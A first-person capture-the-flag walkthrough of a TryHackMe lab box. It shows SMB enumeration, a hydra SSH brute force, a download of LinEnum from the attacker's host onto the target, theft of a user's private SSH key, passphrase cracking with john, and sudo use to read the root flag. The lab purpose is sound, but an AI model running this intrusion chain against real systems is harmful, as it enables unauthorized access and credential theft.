CTFs (Capture The Flag competitions) offer hands-on experience, simulating real-world cyber scenarios. They hone skills, encourage problem-solving, foster teamwork, and promote a deep understanding of cyber threats and defense strategies.
Insights
- SSH Key Usage: Stored SSH keys can be exploited to gain access, especially if they aren’t password-protected or if the passphrase can be easily cracked.
- Decryption of Sensitive Data: Tools like ssh2john and john can be used to decrypt sensitive information, potentially revealing passphrases or passwords.
- Access Permissions: Understanding the access level of an exploited account helps in determining the final steps for full system access.
- Persistence & Adaptability: If one method fails (e.g., a vulnerability exploit), it’s important to pivot and try other strategies.
- Continual Learning: CTFs like those on TryHackMe provide valuable hands-on experience, challenging participants to apply their knowledge and adapt to new scenarios.
Initial Scan
I Kick off this CTF with an nmap scan of the box.
└─$ nmap -sC -sV -T4 10.10.44.87
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-21 08:27 EDT
Nmap scan report for 10.10.44.87
Host is up (0.21s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 db45cbbe4a8b71f8e93142aefff845e4 (RSA)
| 256 09b9b91ce0bf0e1c6f7ffe8e5f201bce (ECDSA)
|_ 256 a5682b225f984a62213da2e2c5a9f7c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open ajp13?
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http-proxy
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
After running the scan, I found a few active ports: 22, 80, 139, 445, 8009, and 8080. SMB (that’s on ports 139 and 445) and the web app (that’s 80, 8009, and 8080) are good places to start because they often have vulnerabilities. So, that’s where I’ll kick things off.
Analysis and Strategy
After identifying the active ports from my scan, I carefully recorded everything. This would help shape the strategy ahead.
Once I saw the active ports from the scan, I jotted down the details to figure out my game plan.
Seeing that web server got my attention, so I thought I’d run a dirbuster scan on it. And with SMB showing up, I decided to dive a bit more into that using smbmap to see what’s up.
└─$ smbmap -H 10.10.44.87
[+] Guest session IP: 10.10.44.87:445 Name: 10.10.44.87
Disk Permissions Comment
---- ----------- -------
Anonymous READ ONLY
IPC$ NO ACCESS IPC Service (Samba Server 4.3.11-Ubuntu)
I noticed there was an anonymous share, which definitely caught my eye. To get a closer look, I decided to jump in and connect using smbclient.
└─$ smbclient //10.10.44.87/Anonymous
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Apr 19 13:31:20 2018
.. D 0 Thu Apr 19 13:13:06 2018
staff.txt
I took a closer look at the staff.txt and found two usernames: ‘jan’ and ‘kay’. Additionally, there was a warning about avoiding non-work-related uploads. This not only hinted at potential user IDs but also suggested a possible file upload vulnerability.
After delving as deep as I could into SMB, I circled back to the earlier identified web directories. I came across the names ‘jan’ and ‘kay’ again and spotted a reference to Apache 2.5.12. Prompted by this, I checked searchsploit and found a matching entry.
My first attempt to leverage the found vulnerability didn’t lead to success. Undeterred, I pivoted towards a brute force strategy on SSH targeting both ‘jan’ and ‘kay’, all while continuing to probe the system.
└─$ hydra -u jan -P /usr/share/wordlists/rockyou.txt 10.10.44.87 SSH
[22][ssh] host: 10.10.44.87 login: jan password: armando
After some steady work, I managed to get SSH access. Once I was in, I didn’t waste any time and grabbed the user flag. Wanting to dig deeper, I found a directory where I had write privileges and got LinEnum, a handy tool for privilege escalation. Now, I was all set for the next phase.
└─$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
jan@basic2:~$ cd /dev/shm
jan@basic2:/dev/shm$ ls -lah
total 0
drwxrwxrwt 2 root root 40 Oct 21 08:26 .
an@basic2:/dev/shm$ wget 10.13.10.145:31337/LinEnum.sh
--2023-10-21 09:44:14-- http://10.13.10.145:31337/LinEnum.sh
Connecting to 10.13.10.145:31337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: ‘LinEnum.sh’
LinEnum.sh 100%[==========>] 45.54K 104KB/s in 0.4s
After getting the tool, I adjusted its permissions to make sure it could run. With that sorted, I fired up LinEnum to start looking into the system.
chmod +x LinEnum.sh
./LinEnum
While looking into usual ways to escalate privileges, I found something interesting: ‘kay’ had saved his SSH keys in the .ssh directory.
To make things a bit easier moving forward, I set up an HTTP server using Python3’s built-in module. This would help with transferring files and keeping things organized.
jan@basic2:/home/kay/.ssh$ python3 -m http.server 5555
File Retrieval
With the server ready, I used the wget command to grab those SSH keys. I was curious to see if these keys could offer some help in navigating this challenge.
└─$ wget http://10.10.81.85:5555/id_rsa
Key Decryption
Once I had the keys saved on my system, I used ssh2john to make the id_rsa key ready for cracking. With the ‘rockyou’ wordlist in hand, I simply aimed to figure out the passphrase, hoping it would help me get further into the system.
└─$ john id_rsa_for_john.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
b-----x (id_rsa)
Gaining Deeper Access
After figuring out the passphrase, I used it to SSH into the system as ‘kay’. This opened up an opportunity for me to explore the challenge further and see what else was there to uncover.
└─$ ssh -i id_rsa [email protected]
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$
Exploring User Directory
While exploring ‘kay’s home directory, I noticed a backup password file. Wanting to understand what ‘kay’ might be able to do on this system, I ran the sudo -l command. I used the password from the backup file when prompted. This gave me a clearer picture of the permissions and actions available to ‘kay’.
kay@basic2:/$ sudo -l
[sudo] password for kay:
Matching Defaults entries for kay on basic2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User kay may run the following commands on basic2:
(ALL : ALL) ALL
Why is sudo -l Important for Privilege Escalation?
-
Discovering Permissions: Using
sudo -lreveals any commands the current user can execute with elevated privileges. This can uncover potential avenues for escalation. -
Identifying Weaknesses: If certain commands can be run without providing a password or if they are inherently vulnerable, attackers can potentially exploit these to escalate their privileges.
-
Mapping Strategy: Knowing what you’re permitted to do on the system helps in strategizing the next steps. If certain commands allow for unrestricted access or can be manipulated, they can be a path to gaining higher privileges. Since we have (ALL : ALL) ALL we can run whatever we like as the super user.
Final Steps and Box Pwnership
The permissions gave me a couple of options: I could either elevate to root with sudo or just go ahead and read the flag.txt file. Whichever way I went, it meant I’d achieved what I set out to do in this challenge. The box was successfully tackled.
kay@basic2:/$ sudo cat root/flag.txt
Congratulations!Summary
My first step was scanning the target system with nmap, revealing active ports including SSH, SMB, and a web server. I began my investigation with SMB, where I found a file ‘staff.txt’ that listed two usernames: ‘jan’ and ‘kay’.
Noting this, I shifted my focus to the web directories, where a potential vulnerability related to Apache 2.5.12 emerged. Despite an unsuccessful first attempt at exploiting it, I persisted by trying a brute force strategy on SSH. This yielded success with the ‘jan’ account.
Delving deeper, I discovered SSH keys in ‘kay’s directory. After obtaining and decrypting these keys, I gained SSH access as ‘kay’. A backup password file in ‘kay’s directory further clarified the privileges available. Using the sudo -l command, I realized I had the permissions to read the system’s flag.txt file.
With this access, I successfully completed the challenge, securing the flag. I appreciate TryHackMe for a well-crafted learning experience.
